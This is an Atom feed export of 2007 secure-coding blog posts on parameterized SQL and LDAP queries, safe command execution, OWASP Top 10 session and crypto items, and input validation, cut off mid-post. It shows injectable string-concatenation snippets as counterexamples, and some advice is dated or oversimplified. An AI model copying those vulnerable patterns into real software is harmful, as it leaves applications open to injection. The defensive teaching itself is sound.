src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-623602052851044242</id><published>2007-03-07T03:01:00.000Z</published><updated>2007-03-28T15:02:13.591Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='output filtering'/><category scheme='http://www.blogger.com/atom/ns#' term='good habits'/><title type='text'>Good Habits Part II-c: Output Filtering SQL LIKE clauses</title><content type='html'>As I had said at the beginning of the "good habits" series, I wanted to cover more than the usual suspects.  So here's one that seems to frequently get missed....&lt;br /&gt;&lt;br /&gt;When creating Prepared Statements or Parameterized Queries, everybody knows how to use placeholders for literals where the entire literal is being replaced.  For example, rather than:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;stmt.prepare("SELECT lastname, firstname FROM person WHERE lastname = '" + strLastName + "'");&lt;br /&gt;&lt;span style="font-family:arial;"&gt;&lt;br /&gt;It's better to do something like:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;stmt = conn.prepareStatement("SELECT lastname, firstname FROM person WHERE lastname = ?");&lt;br /&gt;&lt;span style="font-family:arial;"&gt;&lt;br /&gt;But what about a like clause?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;WHERE lastname LIKE '" + strLastName + "%'"&lt;br /&gt;&lt;span style="font-family:arial;"&gt;&lt;br /&gt;Well, you can actually include the literal as a parameter and concatenate the trailing wildcard:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;WHERE lastname LIKE ? + '%'&lt;br /&gt;&lt;span style="font-family:arial;"&gt;&lt;br /&gt;Now I just wish I knew how to deal with underbars - a single character wildcard - as part of the literal, while still giving the application the safety of the prepared statement.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-623602052851044242?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/623602052851044242/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/03/good-habits-part-ii-c-output-filtering.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/623602052851044242'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/623602052851044242'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/03/good-habits-part-ii-c-output-filtering.html' title='Good Habits Part II-c: Output Filtering SQL LIKE clauses'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-6363469590810788949</id><published>2007-03-06T03:15:00.000Z</published><updated>2007-03-28T15:03:26.806Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='output filtering'/><category scheme='http://www.blogger.com/atom/ns#' term='good habits'/><title type='text'>Good Habits Part II-b: Output Filtering LDAP</title><content type='html'>I did some research before this one, and it's sad that there seems to be so little support in built-in libraries for dealing with output filtering (er - rather "parameterized LDAP queries").&lt;br /&gt;&lt;br /&gt;LDAP searches are every bit as susceptible to injection flaws as any other presentation engine.  Fortunately, Java provides a parameterized search method.  Unfortunately, I can't seem to find an equivalent in other API's.&lt;br /&gt;&lt;br /&gt;In Java, rather than simply building the query by concatenating user input, a la:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  qry = "(cn=" + strName + ")";&lt;br /&gt;&lt;span style="font-family:arial;"&gt;Where strName is injectable (user can include * to return all names, a bad thing, or use parenthesis to close the query, or include other attributes in the search), a better approach is to do something like the following:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  qry = "(cn={0})";&lt;br /&gt; result = ctx.search(root, qry, new String[] {strName}, ctls);&lt;br /&gt;&lt;span style="font-family:arial;"&gt;With that, strName is properly escaped before being injected into the query.&lt;br /&gt;&lt;br /&gt;I looked for how to do this in Perl's Net::LDAP, the OpenLDAP C libraries, PHP, and Ruby, and they all seem to require the developer to do the encoding.  The &lt;a href="http://www.ietf.org/rfc/rfc2254.txt"&gt;search filter RFC&lt;/a&gt; only seems to indicate that *, ), (, \, and &lt;nul&gt; need to be encoded, using a backslash followed by the hex of the ASCII value of the character, which would seem to be enough.  However, you need to be very careful of what character encoding you're expecting your input in, and any escapes that might be taking place there.&lt;br /&gt;&lt;br /&gt;So in Java, do your self a favor and use the search() that takes an Object[] as one of the parameters.  In other languages, be &lt;span style="font-weight: bold;"&gt;very&lt;/span&gt; careful on output filtering.&lt;br /&gt;&lt;/nul&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-6363469590810788949?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/6363469590810788949/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/03/good-habits-part-ii-b-output-filtering.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6363469590810788949'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6363469590810788949'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/03/good-habits-part-ii-b-output-filtering.html' title='Good Habits Part II-b: Output Filtering LDAP'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-4420611422982193945</id><published>2007-02-26T02:34:00.000Z</published><updated>2007-03-28T15:03:49.977Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='output filtering'/><category scheme='http://www.blogger.com/atom/ns#' term='good habits'/><title type='text'>More on Output Filtering Command Calls</title><content type='html'>The C example I gave was incomplete, by the way - that includes no way to do IPC.  It simply calls the downstream process but doesn't read the results or anything.  If you add pipe(2) and the necessary read/write loops on each of the processes, it can get quite un-pretty very quickly with all the necessary error checking.  Certainly not impossible - that's why the calls are there, but unless you're really comfortable writing that sort of stuff, there's some more motivation to try to avoid command calls.  You've been warned.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-4420611422982193945?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://sylvanvonstuppe.blogspot.com/2007/02/good-habits-part-ii-safe-command.html' title='More on Output Filtering Command Calls'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/4420611422982193945/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/more-on-output-filtering-command-calls.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/4420611422982193945'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/4420611422982193945'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/more-on-output-filtering-command-calls.html' title='More on Output Filtering Command Calls'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-8968487216674524125</id><published>2007-02-24T19:20:00.000Z</published><updated>2007-02-25T01:09:00.848Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='output filtering'/><category scheme='http://www.blogger.com/atom/ns#' term='good habits'/><title type='text'>Good Habits Part II-a:  Safe Command Execution</title><content type='html'>If you've been even moderately exposed to application security, particularly web application security, you should see the title and immediately think I've lost my mind.  With output filtering, since there are so very many examples of how to do the more common things (HTML encoding, SQL Prepared statements, etc.), I thought with the output filtering examples, I'd try to do a couple of twists on each of those.  So the examples I give will not be typical.&lt;br /&gt;&lt;br /&gt;That being said, the absolute first recommendation with command execution is &lt;span style="font-weight: bold;"&gt;don't do it&lt;/span&gt;!  At all.  If you can possibly avoid it.  Do anything you can to not have to do command execution.&lt;br /&gt;&lt;br /&gt;Now that that is cleared, there &lt;span style="font-weight: bold;"&gt;is&lt;/span&gt; a safe (well, safer) way to deal with command execution than trying to deal with shell metacharacters yourself.  Almost all environments and frameworks have a form of a multi-argument command execution function.  In *nix environments, they're all based on the execve(2) command and its descendants (execl(3), execlp(3), execle(3), execv(3), execvp(3), and execvP(3)).  Here's how you deal with this in some of the more common environments:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;C/C++&lt;/span&gt;&lt;br /&gt;execve(2) and descendants replace the current command with the one specified.  So if you only want the command executed and need to do something afterwards, you must fork(2) first.  Dealing with input and output is left as an exercise for the reader.  In P-code, it looks something like this:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-family:courier new;"&gt;pid = fork();&lt;br /&gt;if (pid) {&lt;br /&gt;  /* This is the parent process.&lt;br /&gt;      wait for junior to finish up. */&lt;br /&gt;  wpid = wait(pid, &amp;status, flags);&lt;br /&gt;} else {&lt;br /&gt;  /* I'm the child process.&lt;br /&gt;     call my nasty command-line */&lt;br /&gt;  execv(cmd, args);&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;Now you probably don't want to spend a lot of time parsing environment and such in a C CGI, but the example is there because it applies to other environments, such as...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Perl&lt;/span&gt;&lt;br /&gt;P-code looks exactly the same.  But I need to mention that the &lt;span style="font-weight: bold;"&gt;usual&lt;/span&gt; way of doing execution in Perl is to use backticks.  &lt;span style="font-weight: bold;"&gt;DO NOT DO THIS!&lt;/span&gt;  You can't possibly do enough input validation to know that every metacharacter will be taken care of.  And even if you get it right, you're going to make mistakes in the future.  Also, don't do system() which would seem to be a good way to keep from replacing this process - it behaves the same as the backticks, so metacharacters aren't properly escaped.  Do it just like you do in C/C++ - fork, exec, wait.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ruby&lt;/span&gt;&lt;br /&gt;The scripting languages closely tied to the system are nice because I don't have to spell out new examples.  With Ruby, use the C/C++ means.  It's harder, but that's what you get for thinking you need command execution.  Fortunately, because of closures, it's a little prettier in Ruby:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-family:courier new;"&gt;fork {&lt;br /&gt;exec(cmd, args)&lt;br /&gt;}&lt;br /&gt;Process.wait&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;PHP&lt;/span&gt;&lt;br /&gt;Not that I'm lazy (okay, I am) but pcntl functions actually have to be enabled at compile time.  I don't use PHP much, so the PHP I have here wasn't compiled with it enabled, and I won't be compiling another anytime soon to enable it.  The functions work just like their C parents, so the model will look like the others:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-family:courier new;"&gt;$pid = pcntl_fork();&lt;br /&gt;if ($pid) {&lt;br /&gt;# In the parent&lt;br /&gt;} else {&lt;br /&gt;pcntl_exec($cmd, $args);&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;With all of the C derivatives, there's a &lt;span style="font-weight: bold;"&gt;lot&lt;/span&gt; more error checking you could and should do.  It would behoove you to find out about zombie processes, reaping dead children, and the like.  And again - if you insist on doing command execution, you asked for it.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Java&lt;/span&gt;&lt;br /&gt;Java's version of "safely" starting a command is a little more elegant (IMO) than the C derivatives.  In Java, it's much easier to get STDIN, STDOUT, and STDERR handles for the newly-created process.  If you have a pre-1.5 Java, you can use Runtime.exec(String[]), and if you have 1.5 or newer, you can use the new ProcessBuilder, whose two contructors are a List&amp;lt;String&amp;gt; version and a String... varargs version.  Runtime.exec(String) does not escape shell metacharacters, so stay away from it.&lt;br /&gt;&lt;br /&gt;When you call Runtime.exec() or ProcessBuilder.start(), you'll be returned a Process object that you can use to wait for the process to complete, and it also has input and output handles to get results from the process, as well as the return code.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;.NET&lt;/span&gt;&lt;br /&gt;Sadly, from the reading I've done on fixing this in .NET, there's not a really good solution.  There's a nice OO interface as in Java - System.Diagnostics.Process, but Process has an Arguments property that is a single string with all the arguments, so it'll be processed by the shell with all its metacharacters.  So you're going to end up being stuck with the Windows API for starting commands to work around those, which  is even uglier than the fork, exec, wait set on *nix'es.  If anybody has a more elegant solution that includes metacharacter filtering on .NET, please let me know.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Conclusion&lt;/span&gt;&lt;br /&gt;Now, you still have lots of other things to consider - has the command you want to call been replaced by some other?  How does environment play into all of this?  And the most important thing to consider is whose effective ID will be running this process.  Just like any other form of injection, you still have to consider the rights of the process that starts this off.&lt;br /&gt;&lt;br /&gt;And let me reiterate - don't do this at all unless it's absolutely, positively necessary and there is no other means to accomplish what it is you want to do.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-8968487216674524125?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/8968487216674524125/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/good-habits-part-ii-safe-command.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/8968487216674524125'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/8968487216674524125'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/good-habits-part-ii-safe-command.html' title='Good Habits Part II-a:  Safe Command Execution'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-5679342159012061146</id><published>2007-02-23T15:00:00.000Z</published><updated>2007-02-23T15:00:51.711Z</updated><title type='text'>Web Application Security Compared to Other Software</title><content type='html'>&lt;a href="http://securityretentive.blogspot.com/"&gt;Security Retentive&lt;/a&gt; had an interesting perspective on proper engineering in software as it pertains to the &lt;a href="http://www.nspe.org/ethics/eh1-code.asp"&gt;Engineer's Code of Ethics&lt;/a&gt;.  Which reminded me of a post I've wanted to make for a long, long time.&lt;br /&gt;&lt;br /&gt;I've probably written about a dozen lines of &lt;a href="http://en.wikipedia.org/wiki/Forth_%28programming_language%29"&gt;Forth&lt;/a&gt; in my life, so I don't know for sure that the issues &lt;span style="font-weight: bold;"&gt;don't&lt;/span&gt; exist.  But with regards to writing code with excellence - academically "correct" code, what if people who wrote the following pieces of software did so with the same haste that many web applications are written with:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Device drivers&lt;/li&gt;&lt;li&gt;Flight Control Systems&lt;/li&gt;&lt;li&gt;Power systems&lt;/li&gt;&lt;li&gt;water/sewage systems&lt;/li&gt;&lt;li&gt;Defense systems&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.schneier.com/blog/archives/2004/11/the_problem_wit.html"&gt;Voting Machines&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Am I being naive to think that input validation, output filtering, and flow control are the real building blocks for really important systems?  I mean, can you imagine if a nuclear power plant had the firmware equivalent of a cross-site scripting vulnerability?&lt;br /&gt;&lt;br /&gt;I really wish even web developers would begin to see their job as a craft - a highly skilled position that needs care and thought, just like people who engineer drawbridges.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-5679342159012061146?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://securityretentive.blogspot.com/2007/02/engineering.html' title='Web Application Security Compared to Other Software'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/5679342159012061146/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/web-application-security-compared-to.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/5679342159012061146'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/5679342159012061146'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/web-application-security-compared-to.html' title='Web Application Security Compared to Other Software'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-6211292464761356838</id><published>2007-02-23T01:31:00.000Z</published><updated>2007-02-23T01:51:09.436Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><title type='text'>Too Much the Perfectionist</title><content type='html'>I think I'm too much the perfectionist.  I get too worked up about doing things &amp;quot;the right way&amp;quot;.  In a perfect world:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;We'd not focus only on making the problem go away, but also removing our own sensitivity to the problem&lt;/li&gt;&lt;li&gt;We wouldn't need application firewalls because there would exist no semantic flaws.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;We wouldn't need ethical hackers.  They're smart and creative, and I like them a lot - I was one.  But if the world was perfect we wouldn't need them.&lt;/li&gt;&lt;li&gt;Perfect code would come out of user acceptance testing, which would go much quicker without a security review.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;There's no security review (!) during the user acceptance testing, because we know perfect code came out of Integration Testing.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Integration Testing, integration testing actually gets to test the integration of the system and its operation under stress.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Component Integration would be much faster because the components don't have to be tested for security.&lt;/li&gt;&lt;li&gt;All of this because our developers &lt;span style="font-weight: bold;"&gt;aren't&lt;/span&gt; taught about &lt;span style="font-weight: bold;"&gt;security&lt;/span&gt;, they're well-versed in the fundamentals of writing academically-correct code, without flaws, security related or otherwise.&lt;/li&gt;&lt;li&gt;And also because our engineers engineer secure designs.  Flow is checked between phases of the application just like geological survey software is certain that particular requirements have been met before measurements begin.  Assertions can be made about the state of the application, and consistency of these states can be mathematically and logically proven.&lt;/li&gt;&lt;li&gt;Developers know to write academically correct code and engineers design secure transitions and transactions because really sharp security practitioners are involved from engineering from day one - during the imagination phase.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;The American League wouldn't have a designated hitter.&lt;/li&gt;&lt;/ul&gt;Now am I proposing that you &lt;span style="font-weight: bold;"&gt;don't&lt;/span&gt; do all these things?  Heck no!  But the thing is, the earlier security is involved in the engineering of the application, and the better trained your coders are at writing fundamentally flawless code, and the better your engineers are at being able to guarantee state and make assertions that the state of the application is known at any point, the more secure applications will be, and the less re-work that will need to take place, and the faster your ethical hackers will be able to write the report (and the more frustrated they'll feel).&lt;br /&gt;&lt;br /&gt;But because our engineers have been raised on a steady diet of trusting the application to behave itself, and the developers not understanding that users &lt;span style="font-weight: bold;"&gt;will&lt;/span&gt; push the wrong buttons, we really need to do all of the following:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Work on making the problem go away.&lt;/li&gt;&lt;li&gt;Use ethical hacking at multiple phases of the lifecycle to find logical flaws.&lt;/li&gt;&lt;li&gt;Use black-box application scanners throughout the lifecycle to discover semantic flaws in the application.&lt;/li&gt;&lt;li&gt;Use application firewalls (yuck!) to make sure that even if the blackbox testing didn't catch everything, nothing new gets through.&lt;/li&gt;&lt;li&gt;Have security codeheads perform source code analysis to find logical flaws.&lt;/li&gt;&lt;li&gt;Have the developers perform static analysis on source code to find semantic flaws.&lt;/li&gt;&lt;li&gt;Let the American League have their DH.&lt;/li&gt;&lt;/ul&gt;Long story short - just another rant that security flaws aren't only security flaws.  They're actually more dangerous looking versions of flaws that 30 years ago, computer scientists were trained to not allow to happen.  (Not saying that always worked, either, though).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-6211292464761356838?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/6211292464761356838/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/too-much-perfectionist.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6211292464761356838'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6211292464761356838'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/too-much-perfectionist.html' title='Too Much the Perfectionist'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-4708742607491788454</id><published>2007-02-21T00:34:00.000Z</published><updated>2007-02-21T00:58:20.772Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='OWASP Top 10'/><title type='text'>OWASP Top 10 2007 Update RC1 - A7 A8</title><content type='html'>&lt;span style="font-weight: bold;"&gt;A7 Broken Authentication and Session Management&lt;/span&gt;&lt;br /&gt;Not really much I can add here.  This actually ends up being a catch-all category for all things related to session management.&lt;br /&gt;&lt;br /&gt;I don't think I can emphasize enough the importance of using the container's session-management system, if at all possible.  If not possible, re-engineer the application until it is possible.  No matter how smart you think you are, home-grown session management works about as well as home-grown cryptography - it's only a matter (short) of time before it's broken.&lt;br /&gt;&lt;br /&gt;There are actually lots of sub-flaws that end up in this category for whitehats to look for:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Does logout actually kill the server-side session?&lt;/li&gt;&lt;li&gt;Does logout actually delete the client-side cookie?  (If you do the first, this should be a non-issue)&lt;/li&gt;&lt;li&gt;Can the client somehow tell YOU the session token, and the server take it?  (This is a session fixation attack, and I can't tell you &lt;span style="font-weight: bold;"&gt;why&lt;/span&gt;, but some sites are implemented in such a way that it actually works.  Sheesh.)&lt;/li&gt;&lt;li&gt;Does logging in give you a new session token?  (This is hard to implement sometimes if you're using the containers session management, unfortunately.)&lt;/li&gt;&lt;li&gt;Can two of the same user be logged in simultaneously?  (May or may not be a risk - that's up to you.)&lt;/li&gt;&lt;li&gt;Are the session timeouts (time between requests and absolute timeout) appropriate for the sensitivity of the information you're providing?&lt;/li&gt;&lt;li&gt;Are session tokens easily guessable?  Some tools, such as &lt;a href="http://www.owasp.org/index.php/OWASP_WebScarab_Project"&gt;WebScarab&lt;/a&gt; have session token analysis built-in, but I think they're somewhat lacking.  Most of them check for the "randomness" of the session token, but if the session token is simply a hash of a number that gets incremented for every new session, or of a timestamp, or of the user ID, it's not that random.&lt;/li&gt;&lt;/ul&gt;The very best thing about this one, now, is that because of the &lt;a href="http://sylvanvonstuppe.blogspot.com/2007/02/owasp-top-10-2007-update-rc1-a3-a4.html"&gt;Indirect Object Reference&lt;/a&gt; flaw being a separate category, typical privilege escalation no longer falls under this somewhat overlooked category.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A8 Insecure Cryptographic Storage&lt;/span&gt;&lt;br /&gt;This is one of those categories that was always hard for me to deal with being in a listing of Web application vulnerabilities.  Insecure Cryptographic Storage is neither isolated to web applications, nor is it something that can easily be tested for or fixed.  But there are some general guidelines:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Never, ever, ever use home grown crypto&lt;/li&gt;&lt;li&gt;Never, ever, ever use home grown crypto&lt;/li&gt;&lt;li&gt;Do &lt;span style="font-weight: bold;"&gt;not&lt;/span&gt; get overworked about things about MD5 or SHA-1 being broken.  They &lt;span style="font-weight: bold;"&gt;are&lt;/span&gt;  broken, but you should really only concern yourself with that for things like certificates, such that the signature is going to have to last a long, long time, &lt;span style="font-weight: bold;"&gt;and&lt;/span&gt; is going to be highly-available.  If you have the cycles, go ahead and use SHA-2 if it makes you feel any better.&lt;/li&gt;&lt;li&gt;Whenever possible, things passed back and forth with the user should include a nonce, so that it's not susceptible to replay attack.  For example, if you hash the user's password on the client side to pass over so that if an attacker manages to be inside the SSL tunnel (you &lt;span style="font-weight: bold;"&gt;are&lt;/span&gt; using SSL for anything where the password gets passed, right?), if the attacker gets a straight hash of the user's password, they have the password itself.  Use a nonce to verify that the user applied the nonce before the hash, and perform the same hash and nonce application on the server side.&lt;/li&gt;&lt;li&gt;Simply don't require configuration or things like that in a web-accessible directory.  If you feel like to be secure you need to encrypt configuration information, you're probably not handling the configuration information properly in the first place.&lt;/li&gt;&lt;li&gt;Remember that crypto on the database or on the filesystem is useless if an attacker has access to the database, or can mimic the user that files are encrypted to.  Doing database encryption doesn't really help credit card numbers if I can get sa and use a database driver (or your webapp) to slurp them all down.  Encrypt individual items when necessary.&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-4708742607491788454?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.owasp.org/index.php/Top_10_2007' title='OWASP Top 10 2007 Update RC1 - A7 A8'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/4708742607491788454/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/owasp-top-10-2007-update-rc1-a7-a8.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/4708742607491788454'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/4708742607491788454'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/owasp-top-10-2007-update-rc1-a7-a8.html' title='OWASP Top 10 2007 Update RC1 - A7 A8'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-4346000229538528010</id><published>2007-02-19T13:16:00.000Z</published><updated>2007-02-19T22:48:06.920Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='good habits'/><title type='text'>Good Habits Part I:  Input Validation</title><content type='html'>&lt;span style="font-style:italic;"&gt;In a &lt;a href="http://sylvanvonstuppe.blogspot.com/2007/02/its-our-own-fault.html"&gt;previous post&lt;/a&gt;, I made mention that many security flaws are really the result of a lack of good programming practices.  Since I'm a solutions-oriented type, here's Part 1 of &amp;lt;&amp;lt;not sure how many&amp;gt;&amp;gt; on some of those good habits.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;My colleagues will probably have a heart attack upon reading that Input Validation is my first post on good habits, as I've always been very passionate about output filtering.  But I've always felt that proper business-rule input validation is critical.&lt;br /&gt;&lt;br /&gt;Remember back to your days as a wee tot programming in turtle logo on the Apple II-e.  Or maybe just remember back to programming in BASIC on the C=64 or TRS-80.  (I realize I'm dating myself here).  When you were first learning the basics of programming, one of the most important things you had to do as soon as you took input from a user, from a file, or from thin air, was to verify that the type of data received was consistent with 